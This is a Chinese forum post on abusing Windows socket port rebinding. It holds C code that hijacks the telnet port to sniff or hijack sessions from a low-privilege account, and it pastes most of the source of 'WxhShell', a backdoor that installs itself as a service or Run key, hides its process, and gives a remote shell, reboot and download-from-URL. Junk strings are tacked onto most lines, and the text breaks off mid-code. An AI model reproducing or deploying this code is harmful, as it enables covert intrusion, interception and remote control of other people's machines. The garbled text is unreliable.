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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d&}pgb-Md  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uL2"StW  
eV[`P&j_C  
  saddr.sin_family = AF_INET; P'a0CE%  
qn2o[x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E:uReT  
L*zbike  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (NGu9uJs  
e$CePLEj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %v5)s(Yu  
lhLnygUk  
  这意味着什么?意味着可以进行如下的攻击: 38[)[{G)Hv  
cvZni#o2)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bjPka{PBj  
%xf)m[JU=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IZv~[vi_  
8|1`Tn}o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5;X {.2  
+68+PhHF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2{Wo-B,wt~  
~R :<Bw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7IA3q{P  
z7-`Y9Ypd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +O)]^"TG  
3^!Hl8P7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q Oz9\,C  
r8IX/ ,  
  #include oS~}TR:}  
  #include }X=87ud  
  #include w+q?T  
  #include    \.c]kG>k-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M6J/mOVx5  
  int main() zL9VR;q  
  { =kd YN 5R  
  WORD wVersionRequested; |r5e{  
  DWORD ret; sC% b~  
  WSADATA wsaData; Hl4\M]]/&  
  BOOL val; ddo ST``G  
  SOCKADDR_IN saddr; M(qxq(#{U  
  SOCKADDR_IN scaddr; PKi_Zh.D  
  int err; CXTt(-FT  
  SOCKET s; kGpV;F==*  
  SOCKET sc; /@Ez" ?V2  
  int caddsize; >Z *iE"9"  
  HANDLE mt; !tI=`Ml[  
  DWORD tid;   3DH.4@7P  
  wVersionRequested = MAKEWORD( 2, 2 ); 8O;Vl  
  err = WSAStartup( wVersionRequested, &wsaData ); 0eFb?Z0]  
  if ( err != 0 ) { 4py(R-8\  
  printf("error!WSAStartup failed!\n"); 1 ojhh7<  
  return -1; 9u?(^(.  
  } Xad*I ulj  
  saddr.sin_family = AF_INET; HeCcF+  
   XdcG0D^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x Y| yI>  
x ;Gz6|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +L0J_.5%^  
  saddr.sin_port = htons(23); x"vwWJNQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p"KU7-BfvC  
  { O:1DOUYXs  
  printf("error!socket failed!\n"); -PM)EGSk{  
  return -1; h}avX*Lx_  
  } #Rc5c+/(  
  val = TRUE; eK9TAW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iSlFRv?a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o w2$o\hC  
  { =HMmrmz:  
  printf("error!setsockopt failed!\n"); Raefj(^V  
  return -1; 1  o|T  
  } <{giHT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Rv vh{U;t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s|Zx(.EP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }'lNi^"XL  
Q!K`e)R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [G a~%m  
  { B s,as  
  ret=GetLastError(); NgHpIonC  
  printf("error!bind failed!\n"); +jtA&1cf  
  return -1; " \:ced  
  } MD<-w|#8IV  
  listen(s,2); 1i u =Y  
  while(1) f/ajejYo?,  
  { AliRpxxd  
  caddsize = sizeof(scaddr); k,rWa  
  //接受连接请求 2Pp&d>E4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W<NmsG})_g  
  if(sc!=INVALID_SOCKET) ,d|vP)SS  
  { =E y`M#t;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n>P! u71  
  if(mt==NULL) Noh?^@T`Ov  
  { A:eG5K}  
  printf("Thread Creat Failed!\n"); _R7 w?!t8  
  break; t}Ss=0dJO  
  } Tr&E4e  
  } o'Pu'y  
  CloseHandle(mt); A W)a">|  
  } 6Nt$ZYS  
  closesocket(s); b{RqwV5P  
  WSACleanup(); fYBH)E  
  return 0; YUscz!rM  
  }   2zK"*7b?  
  DWORD WINAPI ClientThread(LPVOID lpParam) &x0C4Kh  
  { f7J,&<<5w  
  SOCKET ss = (SOCKET)lpParam; iITp**l  
  SOCKET sc; C0fmmI0z~  
  unsigned char buf[4096]; Qw?+!-7TN  
  SOCKADDR_IN saddr; w(B H247`  
  long num; A62<]R)n  
  DWORD val; nJJs% @y  
  DWORD ret; "}b'E#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .+E#q&=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dig~J\  
  saddr.sin_family = AF_INET; KFDS q"j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |y"jZT6R}t  
  saddr.sin_port = htons(23); ?z/Vgk+9|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `tE^jqrke5  
  { gi]ZG  
  printf("error!socket failed!\n"); EvE,Dm?h  
  return -1; W J+> e+  
  } Rg* J}  
  val = 100; $ [7 Vgs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k=/eM$":  
  { g{>^`JtP  
  ret = GetLastError(); 5+P@s D  
  return -1; H{V)g  
  } VXm[-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wqD5d   
  { \iU]s\{).  
  ret = GetLastError(); hazq#J!  
  return -1; Pl+xH%U+?  
  } 6:?rlh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )"`!AerJ  
  { 4:mCXP,x  
  printf("error!socket connect failed!\n"); |NrrTN?>  
  closesocket(sc); 0xpx(T[  
  closesocket(ss); TfRGA (+#  
  return -1; ^Y04qeRd  
  } Ht[{ryTxu  
  while(1) :?CQuEv-  
  { Y ?'tUV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &Un6ay  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PuXUuJx(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Q@)*kQH  
  num = recv(ss,buf,4096,0); /smiopFcq  
  if(num>0) 44sy`e  
  send(sc,buf,num,0); 6^#uLp>  
  else if(num==0) ]hE="z=n  
  break; XM~~y~j  
  num = recv(sc,buf,4096,0); pCU*@c!  
  if(num>0) 5Qa zHlJ  
  send(ss,buf,num,0); PlCc8Zy  
  else if(num==0) UG2w 1xqHw  
  break; pOga6'aB)  
  } C!%:o/  
  closesocket(ss); Qw)9r{f  
  closesocket(sc); ml u 3K  
  return 0 ; H?yE3 w  
  } hI|)u4q  
~}%~oT  
$Ui&D I  
========================================================== zAScRg$:?  
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下边附上一个代码,,WXhSHELL rdJB*Rlkh  
<I=$ry6 8  
========================================================== "uD= KlA  
lDc;__}Ws  
#include "stdafx.h" BC/_:n8O  
y79qwM.  
#include <stdio.h> .FP$ IWt/1  
#include <string.h> 6)*xU|fU  
#include <windows.h> 7*+TP~WI  
#include <winsock2.h> F u _@!K  
#include <winsvc.h> v[S-Pi1  
#include <urlmon.h> vRhnX  
>+9JD%]x]  
#pragma comment (lib, "Ws2_32.lib") =-jD~rN4;P  
#pragma comment (lib, "urlmon.lib") (f1M'w/OD  
`l]j#qshTm  
#define MAX_USER   100 // 最大客户端连接数 'ks{D(`  
#define BUF_SOCK   200 // sock buffer cT'w=  
#define KEY_BUFF   255 // 输入 buffer 0SV\{]2  
`  2%6V)s  
#define REBOOT     0   // 重启 3]LN;s]ac  
#define SHUTDOWN   1   // 关机 JW+*d`8Z[  
(> "QVxr  
#define DEF_PORT   5000 // 监听端口 rVryt<2:@r  
ZX.TqvK/r  
#define REG_LEN     16   // 注册表键长度 XZph%j0o  
#define SVC_LEN     80   // NT服务名长度 %c/^_.  
%:u[MBe,  
// 从dll定义API )]Ti>RO7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d*]Ew=^L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); & 0v.E"0<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eaZQ2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y?z\L   
Q~,YbZ-7  
// wxhshell配置信息 KSqTY>%fnv  
struct WSCFG { 1'KishHK=  
  int ws_port;         // 监听端口 @LX6hm*}  
  char ws_passstr[REG_LEN]; // 口令 ;j} yB  
  int ws_autoins;       // 安装标记, 1=yes 0=no @h?crJ6$  
  char ws_regname[REG_LEN]; // 注册表键名 'jaoO9KY K  
  char ws_svcname[REG_LEN]; // 服务名 T] | d 5E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \2!!L=&4G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vb4;-?s_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  i g71/'D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3fkk [U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UH3t(o7O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j4.&l3  
j F5Blc  
}; I3y9:4  
_a -]?R  
// default Wxhshell configuration ]n v( aM?d  
struct WSCFG wscfg={DEF_PORT, tS?lB05TOR  
    "xuhuanlingzhe", 5vOCCW  
    1, }STYG`  
    "Wxhshell", l[Z)@bC1   
    "Wxhshell", Zk`#VH  
            "WxhShell Service", X"*^l_9-v  
    "Wrsky Windows CmdShell Service", H%i>L?J2/  
    "Please Input Your Password: ", yI8tH!  
  1, !`wW_W  
  "http://www.wrsky.com/wxhshell.exe", =_d%=m  
  "Wxhshell.exe" 9]yW_]P  
    }; zK5bO= 0j  
P:!)9/.2  
// 消息定义模块 p^QZq>v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (xT*LF+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; shFc[A,r}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <d7xt* 4  
char *msg_ws_ext="\n\rExit."; $k0H9_  
char *msg_ws_end="\n\rQuit."; c@du2ICUc  
char *msg_ws_boot="\n\rReboot..."; bXdY\&fE  
char *msg_ws_poff="\n\rShutdown..."; Y E1Hpeb  
char *msg_ws_down="\n\rSave to "; cyF4iG'M,y  
3Sh+u>w  
char *msg_ws_err="\n\rErr!"; _<Dt z  
char *msg_ws_ok="\n\rOK!"; eBcJm  
Zhi})d3l  
char ExeFile[MAX_PATH]; L* |1/  
int nUser = 0; .iv3q?8.b  
HANDLE handles[MAX_USER]; @.9I3E-=  
int OsIsNt; Y;Y 1+jt  
bLS&H[f K  
SERVICE_STATUS       serviceStatus; 6?gi_3g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wK*PD&nN  
n9oR)&:o  
// 函数声明 sdr.u  
int Install(void);  *4yN3y  
int Uninstall(void); 2$0)?ZC?=  
int DownloadFile(char *sURL, SOCKET wsh); }Ik1bkK  
int Boot(int flag); 8LrK94  
void HideProc(void); i0Pn Z J  
int GetOsVer(void); |B[eJq  
int Wxhshell(SOCKET wsl); v59nw]'  
void TalkWithClient(void *cs); .W.;~`EW  
int CmdShell(SOCKET sock); }~I|t!GL  
int StartFromService(void); &Ocu#Cb  
int StartWxhshell(LPSTR lpCmdLine); J!p<oW)a!  
:5# V^\3*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u{C)qb5Pu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZBM!MSf:  
Tov&68A~e  
// 数据结构和表定义 ]VjLKFb~U  
SERVICE_TABLE_ENTRY DispatchTable[] = gGfq6{9g  
{  WL-0(  
{wscfg.ws_svcname, NTServiceMain}, Bc ^4 T1  
{NULL, NULL} 3|eUy_d3  
}; )I9aC~eAD  
Ay$>(;  
// 自我安装 =5s$qb?#  
int Install(void) ?qT(3C9p  
{ \Jpw1,6  
  char svExeFile[MAX_PATH]; W~dE  
  HKEY key; T$c+m\j6  
  strcpy(svExeFile,ExeFile); 8 /m3+5  
^H=o3#P~L  
// 如果是win9x系统,修改注册表设为自启动 hyu}}0:  
if(!OsIsNt) { _*`q(dYcf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >q9{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0k1MKzi Q  
  RegCloseKey(key); MSYN1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $u5.!{Wq?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,nYZxYLf+  
  RegCloseKey(key); cU | _  
  return 0; }td6fj_{  
    } A-0m8<  
  } ~@fanR =  
} =t.F2'<[Z  
else { C yf]`*  
<2)v9c  
// 如果是NT以上系统,安装为系统服务 rC rr"O#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q)dT(Td9~  
if (schSCManager!=0) C->[$HcRa  
{ v>k b^38  
  SC_HANDLE schService = CreateService V=9Bto00  
  ( /Mx CvEE  
  schSCManager, +V89J!7  
  wscfg.ws_svcname, ,O9`X6rh'  
  wscfg.ws_svcdisp, Cha?7F[xL  
  SERVICE_ALL_ACCESS, Esa6hU#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cJV!> 0ua  
  SERVICE_AUTO_START, 0gi}"v  
  SERVICE_ERROR_NORMAL, f>4+,@G   
  svExeFile, _!;\R7]  
  NULL, 0k7"H]J  
  NULL, WiwwCKjSa  
  NULL, 04[)qPPS  
  NULL, '%$-]~   
  NULL J ZNyC!u  
  ); ^EUQ449<p  
  if (schService!=0) -%N}A3m!5  
  { LA>dkPB  
  CloseServiceHandle(schService); 5?)}F/x  
  CloseServiceHandle(schSCManager); Qvs(Rt3?y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yT2vO_rH  
  strcat(svExeFile,wscfg.ws_svcname); Z%A<#%    
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ur`}v|ZY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k0=|10bi  
  RegCloseKey(key); >sB=\  
  return 0; " gwm23Rpj  
    } Je@p5(f  
  } <vO8_2,V-  
  CloseServiceHandle(schSCManager); ,at-ci\'  
} v3 !byN^  
} = c/3^e  
O]4W|WI3  
return 1; #SK#k<&P  
} U8U/?zW/&  
E^'C "6  
// 自我卸载 ^JiaR)#r  
int Uninstall(void) ByC1I.B`  
{ WJBW:2=;  
  HKEY key; (#CB q  
EPR(i#xU  
if(!OsIsNt) { 6Lav.x\W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  |UABar b  
  RegDeleteValue(key,wscfg.ws_regname); av7q>NEZ!1  
  RegCloseKey(key); Vl&+/-V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { he_HVRpB  
  RegDeleteValue(key,wscfg.ws_regname); 8rnb  
  RegCloseKey(key); lS>=y#i3Xv  
  return 0; *yL|}  
  } zvWO4\  
} ~ mHXz  
} 5mDVFb 3a  
else { ;e`D#khB  
VuP#b'g=|]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }D8~^   
if (schSCManager!=0) Ma n^\gkCi  
{ b0rt.XB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =]2 b8  
  if (schService!=0) l;.[W|  
  { $@lq}FQ%  
  if(DeleteService(schService)!=0) { ~Q3WBOjn  
  CloseServiceHandle(schService); }6yxt9  
  CloseServiceHandle(schSCManager); q{jk.:;'  
  return 0; 5EVB27k  
  } }39M_4a&  
  CloseServiceHandle(schService); (e>RNn\  
  } P6.)P|n7=  
  CloseServiceHandle(schSCManager); 1e+h9|hGYw  
} 0Ax>gj-`  
} Hz8Jgp  
rjhs ?  
return 1; 'Y,+D`&i)  
} )< X=z  
dw=Xjyk?h  
// 从指定url下载文件 ?w c3 +?\J  
int DownloadFile(char *sURL, SOCKET wsh) rPrEEWS0)  
{ iT)2 ?I6!  
  HRESULT hr; mmh nw (/  
char seps[]= "/"; Q#d+IIR0gK  
char *token; x`/m>~_  
char *file; z|oA{VxW>  
char myURL[MAX_PATH]; <yX@@8  
char myFILE[MAX_PATH]; h$:&1jVY{  
}0(vR_x  
strcpy(myURL,sURL); _Ct@1}aa4x  
  token=strtok(myURL,seps); }bj,&c  
  while(token!=NULL) )w3XN A_V  
  { i2\\!s  
    file=token; &kmd<  
  token=strtok(NULL,seps); /cn/[O9  
  } q70YNk}  
+J}k_'4&  
GetCurrentDirectory(MAX_PATH,myFILE); n?7hp%}  
strcat(myFILE, "\\"); KU 8Cl>5  
strcat(myFILE, file); >G w%r1)  
  send(wsh,myFILE,strlen(myFILE),0); CU} q&6h  
send(wsh,"...",3,0); [hvig$L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &</ @0  
  if(hr==S_OK) k;AV;KWI'  
return 0; U)T/.L{0i  
else JXRmu~W~l  
return 1; :IOn`mRYu  
x 1 R!  
} :&\E\9  
`tUeT[  
// 系统电源模块 ).O\O)K  
int Boot(int flag) PgGrk5;  
{ e!L sc3@  
  HANDLE hToken; )PLc+J.I  
  TOKEN_PRIVILEGES tkp; l[x`*+ON:2  
"' i [~  
  if(OsIsNt) { UJyiRP:#]>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b(.o|d/P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SOi(5]  
    tkp.PrivilegeCount = 1; ~ 33@H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t9=|* =;9)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }I'>r(K  
if(flag==REBOOT) { q>Ar.5&M_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mF$jC:Tb  
  return 0; d/-0B<ts  
} @)!1#^(}%  
else { #L)4 |  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {f6A[ZO;J  
  return 0; ^LQ lfd  
} JUUF^/J  
  } Qnu&GBM  
  else { c]:J/'vc  
if(flag==REBOOT) { c^q O@%s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p-i]l.mT5  
  return 0; *T}dv)8  
} 83O^e&Bt  
else { +{l3#Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JOoLHZQ1v  
  return 0; B?zS_Ue  
} kgI.kT(=  
} 1(\I9L&J   
MCO$>QL  
return 1; :_b =Km<  
} OM&\Mo  
Am}PXj6  
// win9x进程隐藏模块 7n3x19T  
void HideProc(void) )LS+M_  
{ 1k70>RQ&69  
$>*/']>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `^4>^  
  if ( hKernel != NULL ) }A&Xxh!Fwo  
  { J&0wl]w|O%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ga/\kO)x_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  "%@=?X8  
    FreeLibrary(hKernel); GlkAJe]  
  } pU)3*9?cIl  
!j\&BAxTEk  
return; {bsr 9.k(  
} T>:g ME  
=v#A&IPA'  
// 获取操作系统版本 J$=b&$I(  
int GetOsVer(void) Fn0LE~O}-8  
{ YdL1(|EdM  
  OSVERSIONINFO winfo; ,EJ [I^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DD{@lM\vc  
  GetVersionEx(&winfo); )<&CnK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !5 :1'$d]H  
  return 1; \iTPJcb5  
  else j$i8@]  
  return 0; m_O=X8uj"D  
} !z6/.>QJ~  
Jj _+YfIM  
// 客户端句柄模块 p 7E{es|J  
int Wxhshell(SOCKET wsl) n[p9$W`  
{ [Kj#KJxy  
  SOCKET wsh; >IydXmTy  
  struct sockaddr_in client; Sy7^;/(ZZ  
  DWORD myID; |Btx&'m  
/r 2.j3:l  
  while(nUser<MAX_USER) U~`^Y8UF  
{ w5JC2   
  int nSize=sizeof(client); gJcL{]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T/.y(8!0I8  
  if(wsh==INVALID_SOCKET) return 1; ra#)*fG,~  
aNf3 R;*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n7YWc5:CaL  
if(handles[nUser]==0) yDBgSO{d  
  closesocket(wsh); E$zq8-p|  
else :s5<AT Q  
  nUser++; /P:WQ*  
  } Ku\#Wj|YrP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J+*Y)k  
^*~u4app  
  return 0; _EBDv0s  
} lkJ#$Ik&  
Vy"^]5  
// 关闭 socket !(AFT!  
void CloseIt(SOCKET wsh) MvwJ(3  
{ K OHH74}_  
closesocket(wsh); s 17gi,"X  
nUser--; K`Zb;R X  
ExitThread(0); YVV $g-D}  
} NGD2z.  
745V!#3!M  
// 客户端请求句柄 RloPP  
void TalkWithClient(void *cs) 03jBN2[!  
{ 5|={1Lp24g  
0'2{[xF  
  SOCKET wsh=(SOCKET)cs; &!aLOx*3`  
  char pwd[SVC_LEN]; 0r&9AnnWu+  
  char cmd[KEY_BUFF]; HbVV]y  
char chr[1]; o8pe07n(W  
int i,j; g \h7`-#t  
'r <BaL  
  while (nUser < MAX_USER) { dWWkO03 |  
b4OR`dd*J  
if(wscfg.ws_passstr) { xa^HU~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xE[tD? M{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gQt@xNO  
  //ZeroMemory(pwd,KEY_BUFF); $7 Uk;xV  
      i=0; xR%ayT.  
  while(i<SVC_LEN) { ="e um7  
Hjkgy%N  
  // 设置超时 u1Yp5jp^K  
  fd_set FdRead; IYC#H}  
  struct timeval TimeOut; 6df&B .gg  
  FD_ZERO(&FdRead); f__WnW5h  
  FD_SET(wsh,&FdRead); (:muxby%  
  TimeOut.tv_sec=8; tB?S0;yXjd  
  TimeOut.tv_usec=0; :QSW^x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uzA'D~)P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uk/+ i`=  
DfFPGFv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]>i0;R ME  
  pwd=chr[0]; />7/S^  
  if(chr[0]==0xd || chr[0]==0xa) { }&hgedx  
  pwd=0; "x^bl+_"  
  break; zUu>kJZ  
  } -+Dvyr  
  i++; E cz"O   
    } \+A<s,x  
JNl+UH:.  
  // 如果是非法用户,关闭 socket 1/BMs0 =  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nU *fne?  
} `3n*4Lz  
 e) (|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J8Db AB4X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8dB~09Z7  
F}[;ytmUS  
while(1) { 0)44*T  
K0@7/*%  
  ZeroMemory(cmd,KEY_BUFF); Br!&Y9  
JH;DVPX9z  
      // 自动支持客户端 telnet标准   <\mc|p"  
  j=0; _Q}z 6+_\  
  while(j<KEY_BUFF) { |O2PcYNu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }d]8fHG  
  cmd[j]=chr[0]; C(Y6 t1  
  if(chr[0]==0xa || chr[0]==0xd) { /Q_\h+ `  
  cmd[j]=0; N^N?!I  
  break; a~"X.xT\R  
  } 0-HE, lv  
  j++; ~` hcgCi%  
    } K),wAZI!7j  
xxn&{\ ?  
  // 下载文件 g_X7@Dt  
  if(strstr(cmd,"http://")) { %Q~Lk]B?t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ::`wx@  
  if(DownloadFile(cmd,wsh)) 0E[Se|!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4et#Q  
  else ^)pY2t<^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ge8zh/`  
  } s30_lddD  
  else { Q.AM  
F# wa)XH  
    switch(cmd[0]) { z+I-3v  
  b1o(CG(}*  
  // 帮助 !Esiq<Yh  
  case '?': { xGA0] _  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `pUArqf  
    break; o7seGw<$X  
  } ,;18:  
  // 安装 4UkLvL1x  
  case 'i': { /B7 GH5  
    if(Install()) X_F=;XF/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d`/{0:F  
    else cf'Z#NfQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Gfe?  
    break; V:J6eks_  
    } Us5 JnP5  
  // 卸载 I,;)pWX=@  
  case 'r': { )O Cr6UR  
    if(Uninstall()) t |hmEHUk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')V5hKb^  
    else -y( V-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=Os?'2[  
    break; 0]~n8mB>  
    } .Ps;O  
  // 显示 wxhshell 所在路径 XN;eehB?aE  
  case 'p': { {IvCe0`  
    char svExeFile[MAX_PATH]; R[;Z<K\Nn?  
    strcpy(svExeFile,"\n\r"); ?_r"Fg;"  
      strcat(svExeFile,ExeFile); '=@x2`U/  
        send(wsh,svExeFile,strlen(svExeFile),0); NU[{oI<a  
    break; BoqW;SG$9  
    } r%9Sx:F  
  // 重启 ! N p  
  case 'b': { oH0\6:S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )%7A. UO)  
    if(Boot(REBOOT)) enj2xye%Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9.KH  
    else { AF-.Nwp   
    closesocket(wsh); R YNz TA  
    ExitThread(0); H>]x<#uz)  
    } =$Z'F<|d  
    break; OUPpz_y  
    } ?6bE!36  
  // 关机 <k!G%R<9  
  case 'd': { _p.{|7  
